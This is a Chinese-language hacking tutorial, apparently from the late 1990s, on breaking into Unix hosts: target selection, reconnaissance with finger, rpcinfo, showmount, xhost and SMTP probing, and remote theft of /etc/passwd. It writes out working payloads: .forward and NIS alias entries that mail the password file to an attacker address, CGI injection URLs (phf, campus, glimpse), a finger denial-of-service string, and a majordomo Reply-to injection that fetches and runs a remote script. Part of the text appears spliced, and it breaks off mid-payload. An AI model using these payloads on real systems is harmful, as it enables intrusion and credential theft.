[摘要] 入侵一个系统有很多步骤,阶段性很强的“工作”,其最终的目
标是获得超级用户权限——对目标系统的绝对控制。从对该系统一无所知
开始,我们利用其提供的各种网络服务收集关于它的信息,这些信息暴露
出系统的安全脆弱性或潜在入口;然后我们利用这些网络服务固有的或配
置上的漏洞,试图从目标系统上取回重要信息(如口令文件)、或在上面
执行命令,通过这些办法,我们有可能在该系统上获得一个普通的shell
接口;接下来,我们再利用目标系统本地的操作系统或应用程序的漏洞试
图提升我们在该系统上的权限,攫取超级用户控制;适当的善后工作包括
隐藏身份、消除痕迹、安置特洛伊木马和留后门。
为什么要研究网络入侵技术?《孙子兵法》有云:知己知彼、百战不殆。为了更好的防卫网络入侵,为了提高网络安全,为了网络管理员甚至系统设计者能够防患于
未然,将安全隐患消灭或尽量减少,必须使大家了解网络黑客入侵技术的具体细节。因此笔者先做一个假设的替换,把自己放到一个黑客的位置,然后再诚实地从那个位置把黑客的秘密手段向大家展示。
(零)、确定目标
攻击的基本条件,除了攻击者和攻击技术,就是攻击对象,特定的对象(特定子网、特定主机)对特定的攻击者构成吸引力,也召唤着与之相适应的技术。
0.1) 目标明确
攻击者明确地知道要攻击的目标,如某可恶的ISP,如某敌对观点的宣传站点,如解雇了攻击者的单位的主页,等等。
0.2) 区段搜索
攻击者有大致的攻击范围(某一网段),但没有具体的主机作为目标,这时可以工具搜索出该网段上的所有机器,如用笔者开发的mping(multi-ping),用法如下:
[synopsis] mping network netmask
e.g.
# mping 192.168.0.0 255.255.255.0
第一个参数是欲搜索的网段,第二个参数是网络掩码。即可快速获取该网段上所有活动主机的IP地址。
0.3) 抓网
从一个有很多链接的WWW站点开始,顺藤摸瓜,自然可以找到许多域名和IP地址;
0.4) 到网上去找站点列表
很多网页上都有大量相关站点的列表;找到一个站点列表,就可以挨个儿进行攻击尝试了!
(一)、情报搜集
从对攻击目标一无所知开始,通过种种尝试,获得越来越多的关于它的信息;黑客的哲学是:没有无用的信息。几乎关于攻击目标的任何知识
都是可能的入侵入口,举凡操作系统类型、版本、用户名等,即使是一些表面上无害的信息,也可能通过和别的信息综合而构成暴露系统漏洞的消息。
1.1) 端口扫描
端口扫描是通过扫描找出目标系统开放的服务端口从而推断出目标系统上运行的服务,通过这些服务可能获取进一步的知识或通往系统的路径。
端口扫描的程序所在多有,可从网上免费获取,如笔者使用的一种,其输出如下:
e.g.
# tcp_scan numen 1-65535
7:echo:
9:discard:
13:daytime:
19:chargen:
21:ftp:
23:telnet:
25:smtp:
37
79:finger
111:sunrpc:
512:exec:
513:login:
514:shell:
515:printer:
540:uucp:
2049:nfsd:
4045:lockd:
6000:xwindow:
6112:dtspc:
7100:fs:
…
# udp_scan numen 1-65535
7:echo:
9:discard:
13:daytime:
19:chargen:
37
42:name:
69:tftp:
111:sunrpc:
161:UNKNOWN:
177:UNKNOWN:
...
大概地说,TCP和UDP端口扫描的机理都是依次(如从1号端口到n号)向目标系统的端口发出连接请求或服务请求包,若该端口上无服务程序守侯,则TCP协议层会回送一个RST(Reset)包,而UDP协议层则会回送一个ICMP Port Unreachable(端口不可达)包,如果没有收到这两种包,就说明该端口有一服务程序,再根据服务程序和著名端口号间的对应关系,既可推知目标系统上究竟运行着哪些服务了。
观看端口扫描程序运行结果,如发现有下列服务:
finger,sunrpc,nfs,nis(yp),tftp,ftp,telnet,http,shell(rsh),
login(rlogin),smtp,exec(rexec),etc...
则应引起注意。因为这些服务或者无偿向外界提供关于系统的重要知识,或者提供某种使用户可以“登录”到系统的方法,或者使得用户可以远程执行系统中的程序,所以都有可能是网络入侵的重要途径。在下面的叙述中读者将陆续看到这一点。
1.2) finger
如果端口扫描发现目标系统上开放了finger服务,这对攻击者来说真是福音,因为finger无偿地(即不需要任何认证手续)就向所有人提供关于系统用户的重要信息,而黑客入侵最重要的一种途径也即是冒充用户登录,所以开放finger实在是一件很危险的事。
e.g.
# finger root@victim.com
[victim.com]
Login Name TTY Idle When Where
root Super-User console 1 Fri 10:03 :0
root Super-User pts/6 6 Fri 12:56 foo.com
root Super-User pts/7 Fri 10:11 mor.com
root Super-User pts/8 1 Fri 10:04 :0.0
root Super-User pts/1 4 Fri 10:08 :0.0
root Super-User pts/11 3:16 Fri 09:53 stu.com
root Super-User pts/10 Fri 13:08 sil.com
root Super-User pts/12 1 Fri 10:13 :0.0
这个例子说明,该机器上有很多人以root身份登录着,也就是说,假使黑客能够以root身份登录进去,将不至于显得过于突出了(例中所有的机器域名替换成虚构的域名,但都有现实的基础,谨此说明,下同此)。
# finger @victim.com
[victim.com]
Login Name TTY Idle When Where
root Super-User console 7 Fri 10:03 :0
john Johnathan Swift pts/6 11 Fri 12:56 foo.com
jack Michael Jackson pts/7 Fri 10:11 mor.com
mary Mariah Carey pts/11 3:21 Fri 09:53 stu.com
root Super-User pts/10 3 Fri 13:08 sil.com
sally Sallivan pts/11 12 Fri 11:07 idi.com
"finger @victim.com"的意思是:请victim.com报告当前登录在它上面的所有用户情况。这个例子说明目前登录在victim.com上的有root、john、mary、sally等用户,他们分别来自虚构的foo.com、mor.com等主机。
# finger 0@victim.com
[victim.com]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
leopard ??? pts/5 foo.com
john ??? pts/12 foo.com
lilac ??? pts/8
yark ??? pts/9 samsa.com
jack ??? pts/9 mor.com
weeper ??? pts/9
sally ??? pts/6 idi.com
zebra ??? pts/9 zw.com
mary ??? pts/9 stu.com
"finger 0@victim.com"的意思是:请victim.com报告它上面所有的合法用户及其登录情况。得到了这个情报,黑客就可以挨个尝试以这些用户的身份登录系统了,通常可以利用一些有一段时间没有登录过的用户,或趁某用户不在线上时以他的身份登录,这样做的目的是以免被该用户发现,因为合法用户应该知道自己是从哪儿登录过来,并且也知道自己开了几个终端,黑客登录必然影响who或w命令输出,用户如果发现这输出与自己的情况不吻合,自然就会发现自己的帐号被人盗用了。
# finger 0@victim.com@mor.com
[mor.com]
[victim.com]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
leopard ??? pts/5 foo.com
john ??? pts/12 foo.com
lilac ??? pts/8
yark ??? pts/9 samsa.com
jack ??? pts/9 mor.com
weeper ??? pts/9
sally ??? pts/6 idi.com
zebra ??? pts/9 zw.com
mary ??? pts/9 stu.com
"finger 0@victim.com@mor.com"是一种finger的级联,请求先发到mor.com,再由mor.com转给victim.com,最后的结果是victim.com给出的。
# finger 0@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@victim.com
[victim.com]
unknown host:
这个命令则有可能造成某些有缺陷的finger daemon因资源耗尽而暂时瘫痪,也算一种DoS(Denial of Service:拒绝服务)攻击吧。
1.3) rusers
rusers命令,"remote users",顾名思义,即询问远程主机关于其用户的信息,跟finger有类似之处。
e.g.
# rusers -l numen
root numen:console May 7 10:03 22 (:0)
john numen:pts/6 May 7 12:56 26 (mor.com)
will numen:pts/7 May 7 10:11 (zw.com)
mary numen:pts/11 May 7 09:53 3:37 (foo.com)
paul numen:pts/10 May 7 13:08 18 (sil.com)
列出numen上所有活动的用户。
1.4) showmount
NFS(Network File System:网络文件系统)是用来提供网络文件共享的,通过安装共享目录,可以实现不登录到一台主机即可读写该机上的硬盘内容,这对攻击者来说是非常有利的。
showmount命令列出一台机器上共享出来的所有目录及其信息。
e.g.
# showmount -e numen.com
export table of numen.com:
/export/home (everyone)
表示:numen.com把/export/home共享给所有人;
# showmount -a numen.com
foo.com:/export/home
mor.com:/export/home
表示:foo.com和mor.com安装了numen.com共享出来的/export/home。
1.5) rpcinfo
RPC(Remote Procedure Call:远程过程调用)是指从一台机器上可以直接调用另一台机器上的过程,通过使用一种称为EDR(External Data Representation)的数据表示方法,前者把参数传给后者,后者把计算结果返回给前者。
rpcinfo报告关于一台主机上提供的可供外部进程调用的过程的信息。
e.g.
# rpcinfo -p numen.com
program vers proto port service
100000 4 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100024 1 udp 32772 status
100024 1 tcp 32771 status
100021 4 udp 4045 nlockmgr
100001 2 udp 32778 rstatd
100083 1 tcp 32773 ttdbserver
100235 1 tcp 32775
100021 2 tcp 4045 nlockmgr
100005 1 udp 32781 mountd
100005 1 tcp 32776 mountd
100003 2 udp 2049 nfs
100011 1 udp 32822 rquotad
100002 2 udp 32823 rusersd
100002 3 tcp 33180 rusersd
100012 1 udp 32824 sprayd
100008 1 udp 32825 walld
100068 2 udp 32829 cmsd
可以看到numen.com提供了rpcbind, rusersd等过程服务,上面用到的rusers命令实际上就调用了目标机上的rusersd提供的过程。
可惜没有打开rexd,如果打开了rexd,其效果就和没有password一样,攻击者可以随意运行目标机上的任何程序。
1.6) x-windows
X-Windos系统是一种客户/服务器结构的窗口系统,每个拥有显示设备的主机系统都可以作为服务器,并可接受另一个主机系统作为其客户,简而言之:程序在客户系统上运行,而用户界面却显示在服务器的显示设备上,客户通过网络把应该显示出来的东西传送给服务器,服务器则把用户的输入通过网络传送给客户。
通常是服务器和客户都在本机上,即:程序在本机上运行,用户界面也显示在本机的显示设备上。远程的情况,概念则似乎有点别扭,依我的理解,主要用途在于,假设:我在主机A上通过telnet远程登录到主机B,这时如果我运行一些文本界面的程序,输入输出都可以通过telnet程序提供的伪终端进行,但如果我想运行一些图形界面的程序,由于telnet程序的伪终端不支持图形显示,就必须用到X-Windows系统了,需要做的工作是:
首先,把主机A看作X服务器,使它同意接受主机B作它的客户,即在本机键入:
A> xhost +B
其次,在telnet窗口(主机B)中键入:
B> DISPLAY=A:0.0
B> export DISPLAY
意味着:把A当作主机B当前shell的X服务器;
此后我在B上通过telnet运行的图形界面程序(如Netscape)的图形界面就会显示在主机A的显示设备上,即:程序实际在B上运行,我却可以在主机A的显示设备上(就在我眼前)阅览和操作了。
除了这种情况,似乎想象不出有别的使用X-Windows的必要,比如直接在我自己的机器上运行程序,界面却显示在别人的显示器上,这未免太古怪了。
e.g.
# DISPLAY=victim.com:0.0
# export DISPLAY
# xhost
access control disabled, clients can connect from any host
环境变量DISPLAY用于指定当前Shell的X服务器;"xhost"则用于设定该服务器允许或拒绝的主机;如上例,我把当前Shell的X服务器设为victim.com(显示设备为0.0号,通常就是唯一的那一台显示器),然后不带参数运行xhost命令,返回信息说明,victim.com允许任何主机做它的客户,这对黑客来说,实在是太愉快了,因为意味着从任何一台主机上可以控制victim.com的显示设备,可以窃取victim.com上的用户输入,甚至可以执行victim.com上的程序。
# xwininfo -root
xwininfo: Window id: 0x25 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1152
Height: 900
Depth: 24
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x21 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1152x900+0+0
"xwininfo"用于显示X服务器的窗口信息,"xwininfo -root"即显示根窗口的信息,所谓根窗口,即桌面,所有其它的窗口都显示在它上面,都是它的子窗口。输出结果包括其大小、位置、窗口标识号等等数据。知道了一个窗口的标识号,就可以用一些工具(如一个叫xwatchwin的程序)来监视这个窗口上的一切显示。
1.7) smtp
SMTP(Small Mail Transfer Protocol:小邮件传输协议)是用来发送邮件的协议,其服务守护程序是Sendmail。Sendmail因为大而复杂,配置又十分麻烦,所以一度曾是Unix上的漏洞最多的程序,著名的蠕虫病毒就是利用Sendmail旧版本上的一个"DEBUG"命令的漏洞而从一个系统传播到另一个系统。
e.g.
# telnet numen.com smtp
Trying xxx.xxx.xxx.xxx...
Connected to numen.com.
Escape character is \'^]\'.
220 numen.com ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800
(CST)
expn root
250 Super-User
expn ftp
250
vrfy byron
550 byron... User unknown
使用"vrfy"或"expn"命令,可以判断特定用户名是否合法,如上面"ftp"为合法用户名,"byron"则不是合法用户名。其用处在于:如果不能用finger或rusers获得目标主机上的用户列表,可以用这种方法猜测用户名,至少能判断出是否真存在某个特定用户——如果不能判断这一点,那猜测口令就无从谈起。
1.8) 使用Scanner(Security Scanner:安全扫描器)
安全扫描器是一种程序,它能够通过探测和模拟攻击而搜集主机甚至子网的各种信息——包括脆弱性信息,即:该主机或该子网有那些安全漏洞?Satan是这类程序中最用名的一个,它其实综合了我们上面所述那些方法,并且不只于此,因此Satan能给出非常丰富的关于攻击目标的信息列表,包括系统类型、操作系统版本、提供的服务种类、系统漏洞等。所以攻击前最好先用Satan进行一番扫描,然后再根据所得信息对症下药,必有事半功倍之效。
Satan是图形界面的,就不陈列其输出结果了。
二、远程攻击
取得一个用户Shell是一种根本性的突破,但在那之前也有很多事情要做、可做,主要是想方设法从目标主机上取得passwd文件,也可以进行一些破坏或取得一定控制。
2.1) 获取passwd文件
取得passwd是获取用户Shell的关键,通过破解用户口令,攻击者有可能冒充用户登录,从而获得一个用户Shell。
2.1.1) tftp
tftp(Trivial File Transfer Protocol)是一种基于UDP的不要求用户身份认证的文件传输协议,主要用于无盘工作站启动时从启动服务器上下载操作系统和应用程序时用的。由于没有认证能力,任何人都可以从提供tftp的主机上存取文件,至于其限度,则要视tftp daemon的权限而定。
e.g.
# tftp victim.com
tftp> get /etc/passwd
Error code 2: Access violation
tftp> get /etc/shadow
Error code 2: Access violation
tftp> quit
尝试失败,大概victim.com上没有运行tftp daemon。
# tftp sun8.com
tftp> get /etc/passwd
Received 965 bytes in 0.1 seconds
tftp> get /etc/shadow
Error code 2: Access violation
成功取得/etc/passwd文件。
# cat passwd
root:x:0:0:Super-User:/:/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:/bin/sh
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
alex:x:10007:10::/users/alex:/bin/sh
cider:x:10020:10::/users/cider:/bin/sh
walt:x:10101:4:Walt Whiteman:/users/walt:/sbin/sh
虽然是shadow过的,但仍然提供了关于用户的信息。
2.1.2) 匿名ftp
2.1.2.1) 直接获得
e.g.
# ftp sun8
Connected to sun8.
220 sun8 FTP server (UNIX(r) System V Release 4.0) ready.
Name (sun8:root): anonymous
331 Guest login ok, send ident as password.
Password: [输入电子邮件地址]
230 Guest login ok, access restrictions apply.
ftp> ls
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.168.0.198,34243) (0 bytes).
bin
dev
etc
incoming
pub
usr
226 ASCII Transfer complete.
35 bytes received in 0.85 seconds (0.04 Kbytes/s)
ftp> cd etc
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.168.0.198,34244) (0 bytes).
group
passwd
226 ASCII Transfer complete.
15 bytes received in 0.083 seconds (0.18 Kbytes/s)
ftp> get passwd
200 PORT command successful.
150 ASCII data connection for passwd (192.168.0.198,34245) (223 bytes).
226 ASCII Transfer complete.
local: passwd remote: passwd
231 bytes received in 0.038 seconds (5.98 Kbytes/s)
# cat passwd
root:x:0:0:Super-User:/:/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:/bin/sh
adm:x:4:4:Admin:/var/adm:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nobody:x:60001:60001:Nobody:/:
ftp:x:210:12::/export/ftp:/bin/false
ftp的根目录不同于系统的根目录,所以ftp下看到的/etc/passwd和系统的/etc/passwd不是一个文件,但有些不称职的系统管理员在创建ftp目录结构时会把系统的/etc/passwd文件直接拷贝过来,遇到这种情况黑客就会有意外的惊喜了。上面例子中没有这样的毛病。
2.1.2.2) 主目录可写
主目录即上文说的ftp根目录,是在/etc/passwd文件中指定的,也就是用匿名ftp登录到主机后的起始目录。
e.g.
# cat forward_sucker_file
"| /bin/cat /etc/passwd|sed \'s/^/ /\'|/bin/mail me@my.e-mail.addr"
# ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password: [输入电子邮件地址]
230 Guest login ok, access restrictions apply.
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
# echo test | mail ftp@victim.com
如果匿名ftp主目录可写,可以在其下投放一个".forward"文件;文件内容是一行用双引号引起来的Shell命令;".forward"文件是用于邮件转发的:如果某一用户(此处为ftp)的主目录下有这个文件时,那么当该用户收到邮件时,就要视".forward"的内容进行转发,如果".forward"的内容为一些电子邮件地址,该邮件就被转发到这些地址,而如果为一行用双引号引起来的Shell命令,则该邮件的内容被重定向到此命令。此处,命令为:"| /bin/cat /etc/passwd|sed \'s/^/ /\'|/bin/mail me@my.e-mail.addr",实际上对重定向过来的作为输入的邮件内容没有做任何处理,而是把/etc/passwd(为了防止被安全机制过滤,先在每一行行首增加一个空格)发到了攻击者的电子邮件地址(me@my.e-mail.addr)。因此,在投放了这样一个".forward"文件后,再随便发一封电子邮件给victim.com上的ftp用户,通过神奇的“转发”功能,victim.com上的/etc/passwd文件就寄到攻击者的电子邮件地址上来了。
2.1.3) WWW
很多WWW服务器都有预装的CGI程序,其中有些由于设计上的失误,使得攻击者可以利用它们来做一些设计者没有料到的事:如随意执行服务器主机上的任何命令。下面是几个著名buggy CGI:
2.1.3.1) phf
e.g.
http://sil.com/cgi-bin/nph-test-cgi?*
http://sil.com/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
2.1.3.2) campus
e.g.
http://sil.com/cgi-bin/campus?%0a/bin/cat%0a/etc/passwd
2.1.3.3) glimpse
e.g.
http://sil.com/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5me@my.e-mail.
addr> /etc/passwd
# echo walt::::::::: >> /etc/shadow
# su walt
walt的UID(User Identifier:用户标识号)为10101,于是在本地创建一个名叫"walt",UID为10101的用户,用su命令在本地成为这个用户(攻击者在本地应该是超级用户)。
$ cat >.forward
"| /bin/cat /etc/passwd|sed \'s/^/ /\'|/bin/mail me@my.e-mail.addr"
^D
# echo test | mail walt@sun8.com
冒充用户walt在安装过来的sun8.com的/users/walt下(即walt在sun8.com上的主目录下)放一个".forward"文件,再发一封电子邮件给该用户,根据上面已经讲过的道理,邮件转发机制就会把sun8.com的/etc/passwd文件邮寄给攻击者了。
2.1.5) Sniffer(网络嗅探器)
关于Sniffer的原理和技术细节,见[samsa 1999]。概言之,由于大多数网络数据流是明文传输的,所以在广播性质的以太网内,任何一台主机都可以偷听到其他主机间的任何通信,包括用于网络登录用户认证的口令。获得用户口令后,自然可以冒充该用户登录到攻击目标上去。
Sniffer的局限是:攻击者和被攻击者必须在同一个以太局域网内,这通常不仅意味着物理上的邻近,而且意味着组织和部门上的邻近,即攻击者为内部人员。
2.1.6) NIS
NIS(Network Information System:网络信息系统)用于网络管理信息的共享和同意管理;原来,诸如passwd、hosts、networks、alias等等系统配置信息都是分散在各台主机上,各不相属的,但实际上这些信息在同一个子网内往往是公共的,NIS即是为这些信息提供一个统一的存放地点(NIS服务器),这样不仅可以避免重复,还容易保持这些信息的一致性。NIS又称Yellow Page(黄页。来源:电话簿一般是黄色页面),故其命令都以yp-开头;后来又有新的NIS+,其命令改成以nis-开头。
2.1.6.1) 猜测域名,然后用ypcat(或对于NIS+:niscat)可获得passwd(甚至shadow)
使用NIS后,用户口令信息从NIS服务器上获取;
2.1.6.2) 若能控制NIS服务器,可创建邮件别名
e.g.
nis-master # echo \'foo: "| mail me@my.e-mail.addr < /etc/passwd "\' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
假设控制了NIS服务器,在该服务器上建立一个名叫"foo"的别名,则这个别名为该NIS域内所有的主机共享,其中包括攻击目标victim.com,所以当攻击者发一封信到foo@victim.com时,victim.com就从NIS服务器取得别名"foo"的定义,即:把victim.com上的/etc/passwd文件发送到攻击者的电子邮件地址。
2.1.7) e-mail
电子邮件看上去好象是一种最无害的网络服务方式,但在黑客看来,每个开向网络的窗口都可能成为通向系统的大门,果然,此言不虚。
e.g.利用majordomo(ver. 1.94.3)的漏洞
Reply-to: a~.`/usr/bin/rcp${IFS}me@hacker.home:script${IFS}/tmp
/script&&source${IFS}/tmp/script`.q~a/ad=cucu/c=scapegoat\@his.e-mail
|